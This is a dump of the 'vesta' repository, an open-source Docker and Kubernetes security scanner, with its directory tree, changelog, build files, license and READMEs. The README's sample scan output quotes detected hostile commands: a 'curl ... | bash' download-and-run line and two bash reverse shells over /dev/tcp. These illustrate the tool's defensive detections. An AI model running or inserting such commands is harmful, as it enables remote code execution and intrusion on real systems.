Repository: kvesta/vesta Branch: main Commit: a8941c99670d Files: 93 Total size: 393.7 KB Directory structure: gitextract_xofttoh4/ ├── .gitignore ├── CHANGELOG.md ├── Dockerfile ├── LICENSE ├── Makefile ├── README.md ├── README.zh-Hans.md ├── cli/ │ ├── analyze.go │ ├── banner.go │ ├── cobra.go │ ├── command.go │ └── scan.go ├── cmd/ │ └── vesta/ │ └── main.go ├── config/ │ └── conf.go ├── go.mod ├── go.sum ├── helm/ │ └── vesta/ │ ├── .helmignore │ ├── Chart.yaml │ ├── README.md │ ├── templates/ │ │ ├── _helpers.tpl │ │ ├── clusterrole.yaml │ │ ├── clusterrolebinding.yaml │ │ ├── job.yaml │ │ └── serviceaccount.yaml │ └── values.yaml ├── internal/ │ ├── analyzer/ │ │ ├── analyze.go │ │ ├── analyze_test.go │ │ ├── docker.go │ │ ├── docker_history.go │ │ ├── k8s_cni.go │ │ ├── k8s_configuration.go │ │ ├── k8s_dashboard.go │ │ ├── k8s_pod.go │ │ ├── k8s_rbac.go │ │ ├── scanner.go │ │ ├── testdata/ │ │ │ ├── Dockerfile │ │ │ ├── clusterrolebinding.yaml │ │ │ ├── configmap.yaml │ │ │ ├── daemonset.yaml │ │ │ ├── docker-compose.yaml │ │ │ ├── job.yaml │ │ │ ├── pod.yaml │ │ │ ├── podsecuritypolicy.yaml │ │ │ ├── pv.yaml │ │ │ ├── pvc.yaml │ │ │ ├── rolebinding.yaml │ │ │ └── secret.yaml │ │ └── utils.go │ ├── encode.go │ ├── extract.go │ ├── inspect.go │ ├── report/ │ │ ├── files.go │ │ └── output.go │ ├── scanner.go │ ├── utils.go │ └── vulnscan/ │ ├── scanner.go │ ├── utils.go │ └── vuln.go └── pkg/ ├── extractor.go ├── inspector/ │ ├── client.go │ ├── container.go │ ├── image.go │ └── utils.go ├── layer/ │ ├── files.go │ ├── integrator.go │ ├── layer.go │ └── manifest.go ├── match/ │ ├── match_test.go │ ├── node_packs.go │ ├── python_packs.go │ └── utils.go ├── osrelease/ │ ├── analyzer.go │ └── osversion.go ├── packages/ │ ├── apt.go │ ├── arch.go │ ├── general.go │ ├── get_package.go │ ├── go.go │ ├── java.go │ ├── node.go │ ├── package.go │ ├── parse_test.go │ ├── php.go │ ├── python.go │ ├── rpm.go │ ├── rust.go │ └── testdata/ │ ├── gobintest │ └── test.jar └── vulnlib/ ├── client.go ├── cvss.go ├── db.go ├── getvuln.go └── oscs.go ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Binaries for programs and plugins *.exe *.exe~ *.dll *.so *.dylib # Test binary, built with `go test -c` *.test # Output of the go coverage tool, specifically when used with LiteIDE *.out # Dependency directories (remove the comment below to include it) # vendor/ .DS_Store .idea/ output/ ================================================ FILE: CHANGELOG.md ================================================ # 1.0.11 (2024.7.22) ## features - Add checking of `CVE-2025-1974` nginx ingress RCE ## improvements - Add adaptive scanning for image scanning after Docker Version 25.0.0 ## fixed - Fixed the empty value of inside ctx - Check the length in pod container - Fixed the circumstance of when ETCD is not in kube-system - Add insecure opetions for kubeconfig login # 1.0.10 (2024.2.2) ## features - Add checking of `CVE-2024-21626` - Add checking of `CVE-2024-3094` liblzma.so backdoor ## improvements - Add the severity of each Linux capabilities # 1.0.9 (2023.8.8) ## features - Add account checking in `/etc/passwd` - Add filesystem scanning - Add checking of ingress nginx - Add BearerToken for authentication - Add insecure and server flags in k8s analysis - Add environment checking in docker images ## improvements - Add the counter of each severity - Add some rules of annotation checking - Delete the inside flag due to duplicate - Add `.dockerconfigjson` in secret checking - Add Docker Histories environment checking - Add the date of kernel compiling checking in checking of kernel version - Add the error output in image saving ## fixed - Fix the out of range in container extract # 1.0.8 (2023.6.6) ## features - Add dangerous image used checking in Docker - Add Docker Swarm Service checking - Add checking of ephemeral-storage usage ## improvements - Annotate the tag of image checking ## improvements - Add unauthorized kubelet checking for each node - Add support of k3s and k0s ## fixed - fix the error of compared version - fix the error of parameter input in file scan # 1.0.7 (2023.4.1) ## features - Add trampoline attacking check - Add malicious value checking in docker history - Add source `OSCS` for malware checking - Add Windows path Volume checking # 1.0.6 (2023.3.2) ## features - Add Kubernetes `DaemonSet` checking - Add rootkit and backdoor checking in K8s and Docker - Add k8s version checking - Add k8s `PodSecurityPolicy` checking for k8s version under the v1.25 ## improvements - Add some rules for CAP checking - Change the namespace checking of Secret and ConfigMap - Improve the rules of `DeamonSet` scanning - Change the scan rules of `Job` and `CronJob` - Optimize the method of annotation checking ## fixed - fix the comparison of kernel version - fix the errors of base64 decode # 1.0.5 (2023.2.13) ## features - Add Docker `--pid=host` checking - Add Python pip analysis from poetry and venv ## improvements - Change the minimum of downloaded vulnerable data year from 2002 to 2010 - Parse the env command in Docker Histories - Rewrite method of java libraries, especially log4j - Change the format of output of image scan # 1.0.4 (2023.1.16) ## features - Add sidecar Environment Checking, including `Env` and `EnvFrom` - Add pip name checking, detect whether package is potential malware - Add pod annotation checking ## improvements - Change method of rpm analysis - Change folder structure - Change method of kernel version checking - Change command `upgrade` to `update` # 1.0.3 (2023.1.3) ## features - Add java libraries analysis - Add php libraries analysis - Add rust libraries analysis - Add istio checking - Add Docker history analysis ## improvements - Change the method of npm analysis - Add mount filesystem for container scan - Change method of cilium checking - Change the method of image scanning - Add RBAC User output for untrusted User checking - Revise the rules of RBAC checking ## fixed - Fixed error of version comparison # 1.0.2 (2022.12.24) ## features - Add cilium checking - Add Kubelet `read-only-port` and `kubectl proxy` checking - Add Etcd safe configuration checking - Add RoleBinding checking - Optimize layer integration - Add go binary analysis # 1.0.1 (2022.12.13) ## features - Add weak password checking in Configmap and Secret - Add weak password checking in Docker env - Add `--skip` parameter for image or container scanning - Add Envoy admin checking # 1.0.0 (2022.12.4) ## features - Image or Container scan - Docker configuration scan - Kubernetes configuration scan ================================================ FILE: Dockerfile ================================================ FROM golang:1.20 as builder WORKDIR /build COPY . . ENV GOOS=linux CGO_ENABLED=1 RUN make build.unix FROM alpine:3.17.3 WORKDIR /tool COPY --from=builder /build/vesta . RUN chmod +x /tool/vesta ENTRYPOINT ["./vesta"] ================================================ FILE: LICENSE ================================================ Apache License Version 2.0, January 2004 http://www.apache.org/licenses/ TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION 1. Definitions. "License" shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document. "Licensor" shall mean the copyright owner or entity authorized by the copyright owner that is granting the License. "Legal Entity" shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, "control" means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity. "You" (or "Your") shall mean an individual or Legal Entity exercising permissions granted by this License. "Source" form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files. "Object" form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types. "Work" shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below). "Derivative Works" shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof. "Contribution" shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, "submitted" means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as "Not a Contribution." "Contributor" shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work. 2. Grant of Copyright License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form. 3. Grant of Patent License. Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed. 4. Redistribution. You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions: (a) You must give any other recipients of the Work or Derivative Works a copy of this License; and (b) You must cause any modified files to carry prominent notices stating that You changed the files; and (c) You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and (d) If the Work includes a "NOTICE" text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License. You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License. 5. Submission of Contributions. Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions. 6. Trademarks. This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file. 7. Disclaimer of Warranty. Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License. 8. Limitation of Liability. In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages. 9. Accepting Warranty or Additional Liability. While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability. END OF TERMS AND CONDITIONS APPENDIX: How to apply the Apache License to your work. To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets "[]" replaced with your own identifying information. (Don't include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same "printed page" as the copyright notice for easier identification within third-party archives. Copyright [yyyy] [name of copyright owner] Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ================================================ FILE: Makefile ================================================ LDFLAGS := -ldflags '-s -w' TAGS := -tags netgo LDFLAGS_STATIC := -ldflags '-w -s -extldflags "-static"' IMAGE_TAG := latest APP := kvesta/vesta .PHONY: build build: go build $(LDFLAGS) ./cmd/vesta .PHONY: build.unix build.unix: go build $(TAGS) $(LDFLAGS_STATIC) ./cmd/vesta .PHONY: clean clean: rm vesta .PHONY: build.docker build.docker: docker build -t $(APP):$(IMAGE_TAG) . .PHONY: run.docker run.docker: docker run --rm -ti --name vesta --network host -v `pwd`:/tool/output/ -v /var/run/docker.sock:/var/run/docker.sock ${APP}:${IMAGE_TAG} analyze docker ================================================ FILE: README.md ================================================


A static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit based on the real penetration of cloud computing.

[English](README.md) · [简体中文](README.zh-Hans.md)
## Overview Vesta is a static analysis of vulnerabilities, Docker and Kubernetes cluster configuration detect toolkit. It inspects Kubernetes and Docker configures, cluster pods, and containers with safe practices.

Vesta is a flexible toolkit which can run on physical machines in different types of systems (Windows, Linux, MacOS). ## What can vesta check > Scan - Support scanning input - image - container - filesystem - vm (TODO) - Scan the vulnerabilities of major package managements - apt/apt-get - rpm - yum - dpkg - Scan malicious packages and vulnerabilities of language-specific packages - Java(Jar, War. major library: log4j) - NodeJs(NPM, YARN) - Python(Wheel, Poetry) - Golang(Go binary) - PHP(Composer, major frameworks: laravel, thinkphp, wordpress, wordpress plugins etc) - Rust(Rust binary) - Others(Others vulnerable which will cause a potential container escape and check suspicious poison image) > Docker | Supported | Check Item | Description | Severity | Reference | |-----------|---------------------------|------------------------------------------------------------------------|---------------------------|---------------------------------------------------------------------------------------------| | ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Volume Mount | Mount dangerous location. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | | ✔ | Docker Unauthorized | 2375 port is opening and unauthorized. | critical | [Ref](https://github.com/vulhub/vulhub/blob/master/docker/unauthorized-rce/README.md) | | ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | | ✔ | Network Module | Net Module is `host` and containerd version less than 1.41. | critical/medium | | | ✔ | Pid Module | Pid Module is `host`. | high | | | ✔ | Docker Server version | Server version is included the vulnerable version. | critical/high/ medium/low | | | ✔ | Docker env password check | Check weak password in database. | high/medium | | | ✔ | Docker History | Docker layers and environment have some dangerous commands. | high/medium | | | ✔ | Docker Backdoor | Docker env command has malicious commands. | critical/high | | | ✔ | Docker Swarm | Docker swarm has dangerous config or secrets or containers are unsafe. | medium/low | | | ✔ | Docker supply chain | Docker supply chain has vulnerable configurations | critical/high/ medium | [Ref](https://github.com/kvesta/vesta/wiki/Docker-supply-chain-Checking-References) | --- > Kubernetes | Supported | Check Item | Description | Severity | Reference | |-----------|----------------------------------------------------------|----------------------------------------------------------------------------|---------------------------|-----------------------------------------------------------------------------------------------------| | ✔ | PrivilegeAllowed | Privileged module is allowed. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | Capabilities | Dangerous capabilities are opening. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Capabilities-and-Privileged-Checking-References) | | ✔ | PV and PVC | PV is mounted the dangerous location and is active. | critical/medium | [Ref](https://github.com/kvesta/vesta/wiki/Volume-Mount-Checking-References) | | ✔ | RBAC | RBAC has some unsafe configurations in clusterrolebingding or rolebinding. | high/medium/ low/warning | | | ✔ | Kubernetes-dashborad | Checking `-enable-skip-login` and account permission. | critical/high/low | [Ref](https://blog.heptio.com/on-securing-the-kubernetes-dashboard-16b09b1b7aca) | | ✔ | Kernel version | Kernel version is under the escape version. | critical | [Ref](https://github.com/kvesta/vesta/wiki/Kernel-Version-References) | | ✔ | Docker Server version (k8s versions is less than v1.24) | Server version is included the vulnerable version. | critical/high/ medium/low | | | ✔ | Kubernetes certification expiration | Certification is expired after 30 days. | medium | | | ✔ | ConfigMap and Secret check | Check weak password in ConfigMap or Secret. | high/medium/low | [Ref](https://github.com/kvesta/vesta/wiki/ConfigMap-and-Secret-Checking-References) | | ✔ | PodSecurityPolicy check (k8s version under the v1.25) | PodSecurityPolicy tolerates dangerous pod configurations. | high/medium/low | [Ref](https://kubernetes.io/blog/2021/04/06/podsecuritypolicy-deprecation-past-present-and-future/) | | ✔ | Auto Mount ServiceAccount Token | Mounting default service token. | critical/high/ medium/low | [Ref](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) | | ✔ | NoResourceLimits | No resource limits are set. | low | [Ref](https://github.com/kvesta/vesta/wiki/Resource-limitation-Checking-References) | | ✔ | Job and Cronjob | No seccomp or seLinux are set in Job or CronJob. | low | [Ref](https://www.aquasec.com/cloud-native-academy/docker-container/docker-cis-benchmark/) | | ✔ | Envoy admin | Envoy admin is opening and listen to `0.0.0.0`. | high/medium | [Ref](https://www.envoyproxy.io/docs/envoy/latest/start/quick-start/admin#admin) | | ✔ | Cilium version | Cilium has vulnerable version. | critical/high/ medium/low | [Ref](https://security.snyk.io/package/golang/github.com%2Fcilium%2Fcilium) | | ✔ | Istio configurations | Istio has vulnerable version and vulnerable configurations. | critical/high/ medium/low | [Ref](https://istio.io/latest/news/security/) | | ✔ | Kubelet 10250/10255 and Kubectl proxy | 10255/10250 port are opening and unauthorized or Kubectl proxy is opening. | high/medium/low | | | ✔ | Etcd configuration | Etcd safe configuration checking. | high/medium | | | ✔ | Sidecar configurations | Sidecar has some dangerous configurations. | critical/high/ medium/low | | | ✔ | Pod annotation | Pod annotation has some unsafe configurations. | high/medium/ low/warning | [Ref](https://github.com/kvesta/vesta/wiki/Annotation-Checking-References) | | ✔ | DaemonSet | DaemonSet has unsafe configurations. | critical/high/ medium/low | | | ✔ | Backdoor | Backdoor Detection. | critical/high | [Ref](https://github.com/kvesta/vesta/wiki/Backdoor-Detection) | | ✔ | Lateral admin movement | Pod specifics a master node. | medium/low | | ## Build Vesta is built with Go 1.18. ```bash make build ``` ## Quick Start Example of image or container scan, use `-f` to input by a tar file, start vesta: ```bash # Container vesta scan image cve-2019-14234_web:latest vesta scan image -f example.tar # Image vesta scan container vesta scan container -f example.tar # Filesystem vesta scan fs ``` Ouput: ```bash 2022/11/29 22:50:00 Searching for image 2022/11/29 22:50:19 Begin upgrading vulnerability database 2022/11/29 22:50:19 Vulnerability Database is already initialized 2022/11/29 22:50:19 Begin to analyze the layer 2022/11/29 22:50:35 Begin to scan the layer Detected 216 vulnerabilities +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 208 | python3.6 - Django | 2.2.3 | CVE-2019-14232 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. If | | | | | | | | django.utils.text.Truncator's | | | | | | | | chars() and words() methods | | | | | | | | were passed the html=True | | | | | | | | argument, t ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 209 | | 2.2.3 | CVE-2019-14233 | 7.5 | high | An issue was discovered | | | | | | | | in Django 1.11.x before | | | | | | | | 1.11.23, 2.1.x before 2.1.11, | | | | | | | | and 2.2.x before 2.2.4. | | | | | | | | Due to the behaviour of | | | | | | | | the underlying HTMLParser, | | | | | | | | django.utils.html.strip_tags | | | | | | | | would be extremely ... | +-----+ +-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 210 | | 2.2.3 | CVE-2019-14234 | 9.8 | critical | An issue was discovered in | | | | | | | | Django 1.11.x before 1.11.23, | | | | | | | | 2.1.x before 2.1.11, and 2.2.x | | | | | | | | before 2.2.4. Due to an error | | | | | | | | in shallow key transformation, | | | | | | | | key and index lookups for | | | | | | | | django.contrib.postgres.f ... | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ | 211 | python3.6 - numpy | 1.24.2 | | 8.5 | high | Malicious package is detected in | | | | | | | | '/usr/local/lib/python3.6/site-packages/numpy/setup.py', | | | | | | | | malicious command "curl https://vuln.com | bash" are | | | | | | | | detected. | +-----+--------------------+-----------------+------------------+-------+----------+------------------------------------------------------------------+ Docker Histories: +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | ID | NAME | CURRENT/VULNERABLE VERSION | CVEID | SCORE | LEVEL | DESCRIPTION | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 1 | Image History | - / - | - | 0.0 | high | Confusion value found | | | | | | | | in ENV: 'command' with | | | | | | | | the plain text 'bash -i | | | | | | | | >&/dev/tcp/127.0.0.1/9999 0>&1 | | | | | | | | '. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ | 2 | | - / - | - | 0.0 | medium | Docker history has found the | | | | | | | | senstive environment with | | | | | | | | key 'SECRET_KEY' and value: | | | | | | | | 123456. | +----+---------------+----------------------------+-------+-------+--------+--------------------------------+ ```
Result ![](https://user-images.githubusercontent.com/35037256/212480788-b2c77ff4-e484-49f8-b283-b0347de7d646.gif)
Example of docker config scan, start vesta: ```bash vesta analyze docker ``` Or run with dokcer ```bash make run.docker ``` Output: ```bash 2022/11/29 23:06:32 Start analysing 2022/11/29 23:06:32 Getting engine version 2022/11/29 23:06:32 Getting docker server version 2022/11/29 23:06:32 Getting kernel version Detected 3 vulnerabilities +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | ID | CONTAINER DETAIL | PARAM | VALUE | SEVERITY | DESCRIPTION | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 1 | Name: Kernel | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | ID: None | | | | the CVE-2022-0492 with | | | | | | | CAP_SYS_ADMIN and v1 | | | | | | | architecture of cgroups | | | | | | | vulnerablility, has a | | | | | | | potential container escape. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 2 | Name: vesta_vuln_test | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | ID: 207cf8842b15 | | | | the Dirty Pipe vulnerablility, | | | | | | | has a potential container | | | | | | | escape. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 3 | Name: Image Tag | Privileged | true | critical | There has a potential container| | | ID: None | | | | escape in privileged module. | | | | | | | | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ | 4 | Name: Image Configuration | Image History | Image name: | high | Weak password found | | | ID: None | | vesta_history_test:latest | | | in command: ' echo | | | | | Image ID: 4bc05e1e3881 | | 'password=test123456' > | | | | | | | config.ini # buildkit'. | +----+----------------------------+----------------+--------------------------------+----------+--------------------------------+ ``` Example of Kubernetes config scan, start vesta: ```bash vesta analyze k8s ``` Output: ```bash 2022/11/29 23:15:59 Start analysing 2022/11/29 23:15:59 Getting docker server version 2022/11/29 23:15:59 Getting kernel version Detected 4 vulnerabilities Pods: +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | ID | POD DETAIL | PARAM | VALUE | TYPE | SEVERITY | DESCRIPTION | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | 1 | Name: vulntest | Namespace: | sidecar name: vulntest | | true | Pod | critical | There has a potential | | | default | Status: Running | | Privileged | | | | container escape in privileged | | | Node Name: docker-desktop | | | | | module. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest | | Token:Password123456 | Sidecar EnvFrom | high | Sidecar envFrom ConfigMap has | | | | env | | | | found weak password: | | | | | | | | 'Password123456'. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: sidecartest | | MALWARE: bash -i >& | Sidecar Env | high | Container 'sidecartest' finds | | | | env | /dev/tcp/10.0.0.1/8080 0>&1 | | | high risk content(score: | | | | | | | | 0.91 out of 1.0), which is a | | | | | | | | suspect command backdoor. | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | 2 | Name: vulntest2 | Namespace: | sidecar name: vulntest2 | | CAP_SYS_ADMIN | capabilities.add | critical | There has a potential | | | default | Status: Running | | capabilities | | | | container escape in privileged | | | Node Name: docker-desktop | | | | | module. | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest2 | | true | kube-api-access-lcvh8 | critical | Mount service account | | | | automountServiceAccountToken | | | | and key permission are | | | | | | | | given, which will cause a | | | | | | | | potential container escape. | | | | | | | | Reference clsuterRolebind: | | | | | | | | vuln-clusterrolebinding | | | | | | | | | roleBinding: vuln-rolebinding | + + +--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ | | | sidecar name: vulntest2 | | cpu | Pod | low | CPU usage is not limited. | | | | Resource | | | | | | | | | | | | | +----+--------------------------------+--------------------------------+--------------------------------+-----------------------+----------+--------------------------------+ Configures: +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | ID | TYPEL | PARAM | VALUE | SEVERITY | DESCRIPTION | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 1 | K8s version less than v1.24 | kernel version | 5.10.104-linuxkit | critical | Kernel version is suffering | | | | | | | the CVE-2022-0185 with | | | | | | | CAP_SYS_ADMIN vulnerablility, | | | | | | | has a potential container | | | | | | | escape. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 2 | ConfigMap | ConfigMap Name: vulnconfig | db.string:mysql+pymysql://dbapp:Password123@db:3306/db | high | ConfigMap has found weak | | | | Namespace: default | | | password: 'Password123'. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 3 | Secret | Secret Name: vulnsecret-auth | password:Password123 | high | Secret has found weak | | | | Namespace: default | | | password: 'Password123'. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 4 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | high | Key permissions with key | | | | vuln-clusterrolebinding | | create, update | resources: | | resources given to the | | | | rolename: vuln-clusterrole | | pods, services | | default service account, which | | | | kind: ClusterRole | subject | | | will cause a potential data | | | | kind: Group | subject name: | | | leakage. | | | | system:serviceaccounts:vuln | | | | | | | | namespace: vuln | | | | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 5 | RoleBinding | binding name: vuln-rolebinding | verbs: get, watch, list, | high | Key permissions with key | | | | | rolename: vuln-role | role | create, update | resources: | | resources given to the | | | | kind: Role | subject kind: | pods, services | | default service account, which | | | | ServiceAccount | subject name: | | | will cause a potential data | | | | default | namespace: default | | | leakage. | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ | 6 | ClusterRoleBinding | binding name: | verbs: get, watch, list, | warning | Key permission are given | | | | vuln-clusterrolebinding2 | | create, update | resources: | | to unknown user 'testUser', | | | | rolename: vuln-clusterrole | | pods, services | | printing it for checking. | | | | subject kind: User | subject | | | | | | | name: testUser | namespace: | | | | | | | all | | | | +----+-----------------------------+--------------------------------+--------------------------------------------------------+----------+--------------------------------+ ```
Result ![](https://user-images.githubusercontent.com/35037256/212480704-c6e6f7ac-6531-4eda-b3a2-1ca99eeedfcf.gif)
## Help information ```bash $./vesta -h Vesta is a static analysis of vulnerabilities, Docker and Kubernetes configuration detect toolkit Tutorial is available at https://github.com/kvesta/vesta Usage: vesta [command] Available Commands: analyze Kubernetes analyze completion Generate the autocompletion script for the specified shell help Help about any command scan Container scan update Update vulnerability database version Print version information and quit Flags: -h, --help help for vesta ``` ## Event ### KCon 2023 Weapon list - [https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=2) ================================================ FILE: README.zh-Hans.md ================================================


一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具

[English](README.md) · [简体中文](README.zh-Hans.md)
## 概述 vesta是一款集容器扫描,Docker和Kubernetes配置基线检查于一身的工具。检查内容包括镜像或容器中包含漏洞版本的组件,同时根据云上实战渗透经验检查Docker以及Kubernetes的危险配置

vesta同时也是一个灵活,方便的工具,能够在各种系统上运行,包括但不限于Windows,Linux以及MacOS
Demo ![](https://user-images.githubusercontent.com/35037256/212480704-c6e6f7ac-6531-4eda-b3a2-1ca99eeedfcf.gif)
